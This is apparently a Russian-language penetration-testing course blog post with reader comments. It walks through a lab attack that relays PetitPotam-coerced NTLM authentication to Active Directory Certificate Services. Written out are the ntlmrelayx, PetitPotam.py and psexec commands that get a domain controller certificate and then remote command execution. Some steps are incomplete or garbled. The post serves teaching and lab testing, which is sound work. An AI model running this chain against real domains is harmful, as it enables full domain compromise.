Статья расскажет о вариации нового метода атаки на инфраструктуру. Рассмотрим основные инструменты, подготовим тестовый стенд и проведем тест. Небольшой Disclamer: статья не претендует на полноту, но является примером того, как можно собрать полезную информацию и проверить работоспособность инструментов перед их использованием.
Что это и как используется
Классический пример атак типа MiTM. То есть это атаки, которые сегодня возможны, по большей части только в локальных сетях. Данный вариант атак заключается в том, что атакующий может перехватить полностью или частично данные между двумя хостами в сети и переотправить их одному из участников соединения, как правило серверу. Переотправка может включать дополнительные изменения данных, но как правило, это воздействие может быть невозможно, в силу используемых механизмов защит, либо из-за особенностей работы системы, на которую производится атака.
Что такое PetitPotam? Самое сложное для проведения атаки типа Relay — это перехват данных, которые используются для настройки соединения. Зачастую, чтобы этот момент был 100% обнаружен в момент исследования сети можно:
Использовать атаки типа ARP Poison и пользователь рано или поздно обратиться к атакующему серверу
Использовать механизмы, которые принудительно заставят операционную систему начать процедуру настройки соединения.
Ко второму типу уловок как раз и относится PetitPotam
. В случае конкретно этого подхода используется MS-EFSRPC протокол, который используется для вызова функции EfsRpcOpenFileRaw
. Вызов этой функции запустит процесс аутентификации. Наибольшую популярность метод получил в совокупности с атакой ADCSPwn.
AD CS атака
Недавнее исследование команды SpecterOps показало, что стандартные роли сервера для сертификатов Windows AD. Не настолько безопасны, как может показаться на первый взгляд. Согласно данным исследования, если атакующий найдет способ, как заставить контроллер домена обратиться к хосту, который поддерживает NTLM аутентификацию, то атакующий сможет заполучить сертификат для учетной записи контроллера домена. Это фактически означает, что атакующий может представляться для любых сервисов инфраструктуры контроллером домена со всеми вытекающими последствиями.
На данный момент концепцию атаки используют в совокупности с методом PetitPotam
. Попробуем проверить насколько это возможно.
Настройка стенда для тестирования
Стенд будет состоять из 3 машин:
Windows Server 2019 <- котроллер домена
Windows Server 2019 <- сервер c ролью сертификационного центра
Windows 10 <- клиентская машина
Kali linux <- машина атакующего
Чтобы настроить сервер для лабораторной, можно использовать любую систему виртуализации. Затем необходимо настроить обычный домен, делается это просто через интерфейс управления сервером. Единственная особенность, которую нужно учесть при установке — добавить роль сертификационного центра. Располагается эта опция в английской локали установщика, в функции "WebDav Redirector". После того как установили сервера, можно начинать тестирование атаки. Для проведения теста нам понадобится следующий набор инструментов:
Вообще к этому набору можно добавить инструменты из списка ниже:
Однако, чтобы использовать эти инструменты, нужно проводить тестирование именно с Windows машины. Попробуем обойтись без них.
Тестирование
Сеть находится в следующем диапазоне: 192.168.47.1/24 найдем все активные машины в сети и обнаружим сертификационный сервер и контроллер домена:
nmap -n -sn 192.168.47.1/24
curl -v http://192.168.47.144/certsrv/
Если сервер вернет код 301, значит один из серверов является сертификационным центром. Данный метод лишь небольшая уловка, которую можно применять на ряду с остальными методами исследования сети. Можно так же полагаться на набор сервисов, которые покажет nmap, а можно прибегнуть к поиску данных через DCOM или SMB.
Можно переходить к атаке. Запустим ntlmrelayx.py
python3 ntlmrelayx.py -t http://192.168.47.144/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
Заставим контроллер домена инициировать процедуру аутентификации и получим сертификат:
python3 PetitPotam.py 192.168.1.111 192.168.47.144
Как видно из вывода инструмента, мы смогли заставить контроллер домена обратиться к сертификационному центру. Теперь дело за малым, нужно перехватить данные. ntlmrelayx сделал всю необходимую работу:
Полученный сертификат идеально подходит сейчас под использование с инструментом Rubeus, но мы будем использовать дальше Kali Linux. Для того чтобы это было возможно, мы создадим файл ".ccache" именно этот файл может быть использован для работы с Kerberos.
Попробуем подключиться к контроллеру домена и выполнить команды:
export KRB5CCNAME=
python3 psexec.py /@ -k -no-pass
Таким образом, мы успешно провели атаку на уязвимом стенде. Данный набор инструментов может быть использован для дальнейшего выполнения команд в инфраструктуре Windows AD. Для защиты от подобной атаки можно использовать рекомендации от вендора. И также можно поискать еще дополнительные распространенные ошибки конфигурации сертификационных серверов с помощью вот этого инструмента.
Статья подготовлена Александром Колесниковым (вирусный аналитик, преподаватель в OTUS) в рамках курса «Пентест. Практика тестирования на проникновение».
Предлагаем посмотреть запись demo-урока курса по теме «Bloodhound. Сбор данных об Windows AD». На занятии участники вместе с преподавателем познакомились с инструментами для исследования AD, а полученные данные использовали для повышения привилегий и продвижения в сети.
Комментарии (2)
silinio
19.10.2021 17:53стандартные роли сервера для сертификатов Windows AD. Не настолько безопасны, как
Опечатка, должна быть запятая - ^^^
vesper-bot
Разница вот с этим habr.com/ru/company/deiteriylab/blog/581758 — использование другого имени шаблона сертификата в ntlmrelayx и другой (к тому же не описанный в деталях) финишер для использования полученного сертификата.